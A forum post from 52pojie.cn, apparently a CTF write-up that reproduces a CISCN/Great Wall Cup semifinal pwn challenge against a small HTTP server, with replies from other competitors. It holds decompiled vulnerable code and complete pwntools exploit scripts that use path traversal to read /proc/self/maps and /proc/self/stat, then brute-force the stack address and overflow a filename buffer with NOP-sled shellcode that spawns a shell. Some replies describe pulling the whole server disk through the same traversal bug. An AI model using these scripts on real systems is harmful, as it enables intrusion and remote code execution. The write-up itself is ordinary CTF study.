吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1551|回复: 17
收起左侧

[CTF] 第十九届ciscn&长城杯半决赛isw1第一步复现

  [复制链接]
milkdragon 发表于 2026-3-25 16:15

第十九届ciscn&长城杯半决赛isw1第一步复现

本题较难,作为一个不成熟的pwn手全身心投入三个半小时,赛场上最终也未能成功getshell,不过把对应的server、libc、ld文件均dump下来,回来自行搭建环境进行复现,以下是我的复现成果:

首先,nmap扫描发现存在路径穿越漏洞,然后,我去查看了/proc/self/maps文件,发现存在root/pico/server文件正在运行,于是将其下载下来,进行分析(后来听说这个路径下还有main.c等一堆源文件和编译命令,不过好像也没什么大用?),发现其中的file_name使用了256字节数组进行存储:

void __cdecl route()
{
  char *v0; // rax
  char file_name[256]; // [rsp+0h] [rbp-120h] BYREF
  char index_html[24]; // [rsp+100h] [rbp-20h] BYREF
  header_t *h; // [rsp+118h] [rbp-8h]

  if ( !strcmp("/", uri) && !strcmp("GET", method) )
  {
    sprintf(index_html, "%s%s", "./public", "/index.html");
    printf("%s 200 OK\n\n", "HTTP/1.1");
    if ( file_exists(index_html) )
    {
      read_file(index_html);
    }
    else
    {
      v0 = request_header("User-Agent");
      printf("Hello! You are using %s\n\n", v0);
    }
  }
  else if ( !strcmp("/test", uri) && !strcmp("GET", method) )
  {
    printf("%s 200 OK\n\n", "HTTP/1.1");
    puts("List of request headers:\n");
    for ( h = request_headers(); h->name; ++h )
      printf("%s: %s\n", h->name, h->value);
  }
  else if ( !strcmp("/", uri) && !strcmp("POST", method) )
  {
    printf("%s 201 Created\n\n", "HTTP/1.1");
    printf("Wow, seems that you POSTed %d bytes.\n", payload_size);
    puts("Fetch the data using `payload` variable.");
    if ( payload_size > 0 )
      printf("Request body: %s", payload);
  }
  else if ( !strcmp(uri, uri) && !strcmp("GET", method) )
  {
    fprintf(stderr, "%p\n", file_name);
    sprintf(file_name, "%s%s", "./public", uri);
    if ( file_exists(file_name) )
    {
      printf("%s 200 OK\n\n", "HTTP/1.1");
      read_file(file_name);
    }
    else
    {
      printf("%s 404 Not found\n\n", "HTTP/1.1");
      sprintf(file_name, "%s%s", "./public", "/404.html");
      if ( file_exists(file_name) )
        read_file(file_name);
    }
  }
  else
  {
    printf("%s 500 Internal Server Error\n\n", "HTTP/1.1");
  }
}

但传入内容uri可以超出256字节,从而发生栈溢出:

void __cdecl respond(int slot)
{
  char *v1; // rax
  int payload_size; // eax
  int clientfd; // [rsp+1Ch] [rbp-34h]
  const char *t2; // [rsp+20h] [rbp-30h]
  char *t; // [rsp+28h] [rbp-28h]
  char *ta; // [rsp+28h] [rbp-28h]
  const char *key; // [rsp+30h] [rbp-20h]
  int rcvd; // [rsp+3Ch] [rbp-14h]
  char *val; // [rsp+40h] [rbp-10h]
  header_t *h; // [rsp+48h] [rbp-8h]

  buf = (char *)malloc(0xFFFFu);
  rcvd = recv(clients[slot], buf, 0xFFFFu, 0);
  if ( rcvd >= 0 )
  {
    if ( rcvd )
    {
      buf[rcvd] = 0;
      method = strtok(buf, " \t\r\n");
      uri = strtok(0, " \t");
      prot = strtok(0, " \t\r\n");
      uri_unescape(uri);
      fprintf(stderr, "\x1B[32m + [%s] %s\x1B[0m\n", method, uri);
      qs = strchr(uri, 63);
      if ( qs )
      {
        v1 = qs++;
        *v1 = 0;
      }
      else
      {
        qs = uri - 1;
      }
      h = reqhdr_0;
      while ( h < &reqhdr_0[16] )
      {
        key = strtok(0, "\r\n: \t");
        if ( !key )
          break;
        for ( val = strtok(0, "\r\n"); *val == 32; ++val )
          ;
        h->name = (char *)key;
        h->value = val;
        ++h;
        fprintf(stderr, "[H] %s: %s\n", key, val);
        t = &val[strlen(val) + 1];
        if ( t[1] == 13 && t[2] == 10 )
          break;
      }
      ta = strtok(0, "\r\n");
      t2 = request_header("Content-Length");
      payload = ta;
      if ( t2 )
        payload_size = atol(t2);
      else
        payload_size = rcvd - ((_DWORD)ta - (_DWORD)buf);
      payload_size = payload_size;
      clientfd = clients[slot];
      dup2(clientfd, 1);
      close(clientfd);
      route();
      fflush(stdout);
      shutdown(1, 1);
      close(1);
    }
    else
    {
      fwrite("Client disconnected upexpectedly.\n", 1u, 0x22u, stderr);
    }
  }
  else
  {
    fwrite("recv() error\n", 1u, 0xDu, stderr);
  }
  free(buf);
}

根据以上内容,整个输入的内容(buf)我们都是可以控制的,从而也控制了method,uri,payload,payload_size。

比赛时候的思路

开始我尝试直接通过栈溢出到one_gadget地址getshell,因为既然可以任意文件读取了,我们可以很容易获取libc基地址,但是每个都进行了尝试,全部失败(甚至有一个我感觉条件完全符合的)。

既然这个不成功,我考虑使用rop链,但是看了下可利用的rop,全部是pop rbp和mov rax的种类,实在是无从下手。

然后我注意到,在连接中,有一个特殊的方法调用post,payload是完全可以控制的。既然有这个方法,而且一般人大概也不会用,那么必然有其存在的利用                                                             价值。而NX未开启,所以堆栈可执行,完全可以在payload中写入shellcode然后通过栈溢出让程序执行到shellcode的位置从而getshell。

但是,问题又来了:post方法规定必须在web根目录下完成,那么filename的溢出必须在下一次进行,而这个服务采用短连接,在post中使用过的payload指针并不会保留到get请求时。

不过,这个方法也好解决,我们仔细观察程序:

      ta = strtok(0, "\r\n");
      t2 = request_header("Content-Length");
      payload = ta;

并没有在判断请求为POST的情况下才解析payload,而是在所有情况下出现\r\n\r\n都会被解析进payload中,所以可以在GET请求后添加请求体。

接着我发现了使用strtok函数进行解析传入内容,非常不稳妥,如果遇到\x00字符会直接被截断从而无法返回后续内容,导致payload无法被传入,不过由于使用了uri_unescape函数(这个函数好像也是自己写的?怎么感觉解析能力有很大问题。),可以将其编译为%00,从而允许后续字符进入进行解析:

void __cdecl uri_unescape(char *uri)
{
  char n9; // al
  char n9_1; // al
  char *v3; // rax
  char *dst; // [rsp+18h] [rbp-18h]
  char *srca; // [rsp+20h] [rbp-10h]
  char chr; // [rsp+2Fh] [rbp-1h]
  char chra; // [rsp+2Fh] [rbp-1h]

  while ( *uri && ((*__ctype_b_loc())[*uri] & 0x2000) == 0 && *uri != 37 )
    ++uri;
  dst = uri;
  while ( *uri && ((*__ctype_b_loc())[*uri] & 0x2000) == 0 )
  {
    if ( *uri == 43 )
    {
      chr = 32;
    }
    else if ( *uri == 37 && uri[1] && uri[2] )
    {
      srca = uri + 1;
      if ( *srca <= 57 )
        n9 = 0;
      else
        n9 = 9;
      chra = 16 * ((*srca & 0xF) + n9);
      uri = srca + 1;
      if ( *uri <= 57 )
        n9_1 = 0;
      else
        n9_1 = 9;
      chr = n9_1 + (*uri & 0xF) + chra;
    }
    else
    {
      chr = *uri;
    }
    v3 = dst++;
    *v3 = chr;
    ++uri;
  }
  *dst = 0;
}

那么,基础问题解决了,接下来就是我初次的尝试(已然是赛后😭):


初次尝试:栈迁移

由于我想将程序流重定向到payload存放的堆指针指向的内容处,需要使用栈迁移,让rbp先指向payload-8的地址处,然后通过两次的leave retn让rip指向堆内容。不过,两次返回的化会退出respond函数,而退出前会触发 shutdown(1, 1);,造成输出关闭,我决定在shellcode中添加重连shell逻辑。于是,脚本如下(这里我采用了将文件读到另一个文件以验证此方法有效性):

one_gadget_list = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38 ,0xebd3f, 0xebd43]

from pwn import *
import requests

context.arch = 'amd64'
context.log_level = 'debug'

ip = "localhost"

port = 8000
base_url = f"http://{ip}:{port}/"

def test():
    response = requests.get(base_url + "test")
    return response

def get_base_addr(target_file):
    response = requests.get(base_url + "..%2f..%2f..%2f..%2f..%2f..%2fproc/self/maps")
    base_addr = extract_base_address(response.text, target_file)
    return base_addr

def extract_base_address(maps_content, target_file):
    """
    从maps内容中提取目标文件的基址(可执行段的起始地址)

    Args:
        maps_content (str): /proc/self/maps的文本内容
        target_file (str): 目标文件路径(如 /app/server, /app/libc.so.6)

    Returns:
        str: 基址(十六进制字符串),未找到则返回 None
    """
    # 按行分割内容,跳过空行
    lines = [line.strip() for line in maps_content.split('\n') if line.strip()]

    for line in lines:
        # 分割每行字段(处理多个空格)
        parts = line.split()
        if len(parts) < 6:
            continue

        # 提取关键字段
        addr_range = parts[0]  # 虚拟地址范围,如 783c3c3ee000-783c3c416000
        perms = parts[1]       # 权限,如 r-xp
        offset = parts[2]      # 文件偏移f
        pathname = parts[-1]   # 文件路径

        # 匹配目标文件,且是可执行段(含 x 权限)
        if  target_file in pathname and 'x' in perms:
            # 提取起始地址(- 分割后的第一部分)
            base_addr = addr_range.split('-')[0]
            try:
                base_addr = int(base_addr, 16)  # 转换为整数
                offset = int(offset, 16)  # 转换为整数
                base_addr -= offset  # 减去偏移得到基址
            except ValueError:
                return None
            return base_addr

    return None

# libc_base = get_base_addr("app/libc.so.6")
# server_base = get_base_addr("app/server")
# if not libc_base or not server_base:
#     print("Failed to get base addresses.")
#     exit(1)
# print(f"libc_base: {hex(libc_base)}")
# print(f"server_base: {hex(server_base)}")

server_base = 0x783c3c3ee000
payload_addr = server_base + 0x52B8
print(f"payload_addr: {hex(payload_addr)}")

def my_get(path:bytes, body:bytes|None = None) -> bytes:
    if b'\x00' in path:
        print("Path contains null byte, replacing with %00")
        path = path.replace(b'\x00', b'%00')
    if body is None:
        return b"GET /" + path + b" HTTP/1.1\r\n\r\n"
    return b"GET /" + path + b" HTTP/1.1\r\n" + b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body
def my_post(path:bytes, body:bytes) -> bytes:
    return b"POST /" + path + b" HTTP/1.1\r\n" + b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body

p = remote(ip, port)
payload1 = asm(shellcraft.nop() * 32) + b'\xeb\x00' + asm("add rsp, 0x900") + asm(shellcraft.execve('/bin/sh', ['sh', '-c', 'cat /flag > /tmp/f1'], 0)) # type: ignore
# shellcraft.bindsh(8888) # type: ignore

payload2 = b'A' * (0x120 - len("./public/") ) + p64(payload_addr-0x8)

# payload3 = b'A' * (0x120 + 0x8 - len("./public/")) + p64(one_gadget_list[7] + libc_base)
p.send(my_get(payload2, payload1))

p.interactive()

然而,尝试失败了,之前还不知道什么原因,刚刚写复现流程写着写着感觉不对,回头一翻录像发现自己傻了:

截图1

截图1

明晃晃的堆不可执行,栈可执行没注意到,我是傻子😭😭😭


第二次尝试:栈爆破(成功)

随后,想到了一个我自己没用过的方法,成功getshell了(AI真是太好用了,你知道吗😂)

还是由于NX未开启,我们除了堆中写入shellcode,还可以考虑栈。那么,需要知道栈的具体地址:

可以通过/proc/self/stat获取程序的栈的基地址;然后,再通过/proc/self/maps获取进程的栈地址,从而得到大概的可行栈地址范围。

而由于程序使用fork,子进程的堆栈布局与父进程完全相同,从而给出了爆破真实栈地址的可行性。

不过,filename依旧需要防止\x00截断,所以需要在返回地址前写入shellcode;同时,由于超长的乱码 URI 不可能是存在的文件,程序会走向 else 分支并执行第二次拷贝:sprintf(file_name, "%s%s", "./public", "/404.html");,所以需要将前面的19字节留出空间,而为了让命中的概率提高,采用nop sled覆盖shellcode前的填充部分,这样可以让搜索的单次爆破跨越范围增大。

于是,得到脚本如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
import re, time

HOST = "localhost"
PORT = 33453

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

# 栈帧常量
# file_name @ offset 0x000, saved_rbp @ 0x120, ret_addr @ 0x128
# sprintf: "./public/" (9 bytes) + URI
# 404 sprintf覆盖前19字节 (./public/404.html\0)
SPRINTF_PREFIX = 9       # len("./public/"), 含URI开头的/
SAFE_START = 19          # 404 sprintf覆盖的字节数, 之后安全
SAVED_RBP_OFF = 0x120    # file_name到saved_rbp
RET_ADDR_OFF = 0x128     # file_name到return addr

def url_enc(data):
    return "".join(f"%{b:02x}" for b in data)

def path_read(filepath):
    try:
        r = remote(HOST, PORT, timeout=5, level='warn')
        req = f"GET /{'..%2f' * 6}{filepath.lstrip('/')} HTTP/1.1\r\nHost: {HOST}\r\n\r\n"
        r.send(req.encode())
        time.sleep(0.3)
        data = r.recvall(timeout=3)
        r.close()
        return data.split(b"\n\n", 1)[1] if b"\n\n" in data else data
    except:
        return b""

def get_stack_info():
    maps = path_read("/proc/self/maps").decode(errors='ignore')
    stat = path_read("/proc/self/stat").decode(errors='ignore')

    stack_start = stack_end = startstack = None
    for line in maps.split('\n'):
        if '[stack]' in line:
            a = line.split()[0].split('-')
            stack_start = int(a[0], 16)
            stack_end = int(a[1], 16)

    m = re.search(r'\)\s+(.*)', stat)
    if m:
        f = m.group(1).split()
        if len(f) > 25:
            startstack = int(f[25])

    return stack_start, stack_end, startstack

def main():
    log.info("Server BoF -> Shellcode (bypass 404 sprintf)")

    stack_start, stack_end, startstack = get_stack_info()
    if stack_start is None or stack_end is None or startstack is None:
        log.error("Failed to leak stack info")
        return
    log.success(f"stack: {hex(stack_start)} ~ {hex(stack_end)}")
    log.success(f"startstack: {hex(startstack)}")

    # shellcode: dup2(1,0) + dup2(1,2) + execve("/bin/sh")
    shellcode = asm(shellcraft.dup2(1, 0) + shellcraft.dup2(1, 2) + shellcraft.sh()) # type: ignore
    assert b'\x00' not in shellcode
    log.info(f"Shellcode: {len(shellcode)} bytes")

    # URI偏移计算
    # file_name[0..8]   = "./public/"    (sprintf prefix, 9 bytes)
    # file_name[9..]    = URI content
    # file_name[0..18]  = 被404 sprintf覆盖 (19 bytes)
    # file_name[19..]   = 安全区, shellcode存活
    # file_name[288]    = saved_rbp (offset 0x120)
    # file_name[296]    = return addr (offset 0x128)
    #
    # URI布局:
    #   URI[0..9]   = junk (10 bytes, 对应file_name[9..18], 会被覆盖)
    #   URI[10..X]  = NOP sled + shellcode (对应file_name[19..X+9])
    #   URI[X+1..278] = padding
    #   URI[279..286] = fake saved_rbp (8 bytes, 对应file_name[288..295])
    #   URI[287..292] = return address (6 bytes, 对应file_name[296..301])

    junk_len = SAFE_START - SPRINTF_PREFIX  # 10
    uri_to_savedrbp = SAVED_RBP_OFF - SPRINTF_PREFIX  # 279
    nop_shellcode_pad_len = uri_to_savedrbp - junk_len  # 269

    nop_sled_size = nop_shellcode_pad_len - len(shellcode)  # 269 - 72 = 197
    log.info(f"NOP sled: {nop_sled_size} bytes")
    log.info(f"URI total: {junk_len} + {nop_sled_size} + {len(shellcode)} + 8 + 6 = {junk_len + nop_sled_size + len(shellcode) + 14}")

    # 验证: URI总长应该让file_name正好覆盖到ret_addr
    assert junk_len + nop_sled_size + len(shellcode) == uri_to_savedrbp  # 279

    # 搜索范围: startstack向下直到stack_start
    total_range = startstack - stack_start
    step = 0x80  # 128, 远小于NOP sled(197), 保证覆盖
    total_candidates = total_range // step
    log.info(f"Search: {hex(startstack)} down to {hex(stack_start)}, step=0x{step:x}, ~{total_candidates} candidates")

    for offset in range(0x100, total_range, step):
        file_name_guess = startstack - offset

        # 返回地址指向NOP sled中间
        target_addr = file_name_guess + SAFE_START + nop_sled_size // 2
        addr_bytes = p64(target_addr)
        if b'\x00' in addr_bytes[:6]:
            continue

        # 构造URI
        uri = (b'\x41' * junk_len +
                b'\x90' * nop_sled_size +
                shellcode +
                b'\x42' * 8 +          # fake saved_rbp
                addr_bytes[:6])         # return address

        assert len(uri) == 279 + 8 + 6  # = 293
        if b'\x00' in uri:
            continue

        encoded = "/" + url_enc(uri)

        if offset % (step * 25) == 0x100 or offset == 0x100:
            log.info(f"  offset={hex(offset)}, target={hex(target_addr)}")

        try:
            r = remote(HOST, PORT, timeout=2, level='warn')
            req = f"GET {encoded} HTTP/1.1\r\nHost: {HOST}\r\n\r\n"
            r.send(req.encode())
            time.sleep(0.3)
            r.sendline(b"echo PWN3D_$(id)")
            try:
                resp = r.recv(timeout=1.5)
                if b"PWN3D_" in resp:
                    log.success(f"*** SHELL @ offset={hex(offset)}, target={hex(target_addr)} ***")
                    log.success(resp.decode(errors='ignore'))
                    r.interactive()
                    return
            except:
                pass
            r.close()
        except:
            pass

    log.warning("Brute force exhausted")

if __name__ == "__main__":
    main()

总结

这道题对我这个还没有学会内核pwn的小菜鸡来说还是太超模了,像proc/self/stat就是我完全没想到过的思路,还是得多练练。

我们队伍的配置也是不太行:都是轻薄本带不动本地大模型,自身也是全员本科生,不像别的队伍动不动就是全员研究生,mac studio(真有钱啊,我酸啦),最终也是遗憾败北,未能进入决赛。

免费评分

参与人数 2威望 +1 吾爱币 +23 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
taoyangui + 3 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Evolt 发表于 2026-3-28 22:04
milkdragon 发表于 2026-3-28 00:21
师傅能麻烦说下 下磁盘 是用的哪个文件嘛?/dev/sda嘛?我对这块不太熟悉

fstab不是看挂载磁盘的地方嘛,可以看到挂载了哪些磁盘,上面就挂载了vda2和vda3,vda2就200m,vda3是30g,当时下载了15分钟下下来了
Evolt 发表于 2026-3-28 22:06
taoyangui 发表于 2026-3-27 14:42
牛啊,师傅这思路不是一般的强,磁盘文件还有吗,有的话方便给吗

太大了,百度网盘传不上去,我把文件导出来了。打个压缩包
通过网盘分享的文件:vda3.7z
链接: https://pan.baidu.com/s/1flH3Xk8TgPq9U8Ni-vG77A?pwd=52pj 提取码: 52pj
--来自百度网盘超级会员v3的分享

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
taoyangui + 1 + 1 谢谢@Thanks!

查看全部评分

taoyangui 发表于 2026-3-26 20:27
比赛的时候我们没去看这个文件,只读了私钥,看别人打通还好奇为什么,看到师傅的文章懂了,原来是这么回事啊
taoyangui 发表于 2026-3-26 20:28
师傅可以分享下完整的题目附件和运行环境吗?
 楼主| milkdragon 发表于 2026-3-26 20:35
附件如下: isw1.zip (1022.77 KB, 下载次数: 9)
里面就是server,libc和ld,简单起个docker就可以了。

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
taoyangui + 1 + 1 谢谢@Thanks!

查看全部评分

 楼主| milkdragon 发表于 2026-3-26 23:33
taoyangui 发表于 2026-3-26 20:28
师傅可以分享下完整的题目附件和运行环境吗?

据说这道题目使用的是这个项目:https://github.com/foxweb/pico
Evolt 发表于 2026-3-27 10:18
就没人想到要直接下磁盘然后看flag吗。我看了一圈好像都没有发这个方法的
taoyangui 发表于 2026-3-27 13:36
Evolt 发表于 2026-3-27 10:18
就没人想到要直接下磁盘然后看flag吗。我看了一圈好像都没有发这个方法的

这个真没想道师傅是靠这个方法读出来的flag吗?
taoyangui 发表于 2026-3-27 13:40
milkdragon 发表于 2026-3-26 20:35
附件如下:
里面就是server,libc和ld,简单起个docker就可以了。

OK谢谢了师傅
Evolt 发表于 2026-3-27 14:13
taoyangui 发表于 2026-3-27 13:36
这个真没想道师傅是靠这个方法读出来的flag吗?

yes,当时是499.85分,应该是第二个或者第三个出的
taoyangui 发表于 2026-3-27 14:42
Evolt 发表于 2026-3-27 14:13
yes,当时是499.85分,应该是第二个或者第三个出的

牛啊,师傅这思路不是一般的强,磁盘文件还有吗,有的话方便给吗
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-10-2 04:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表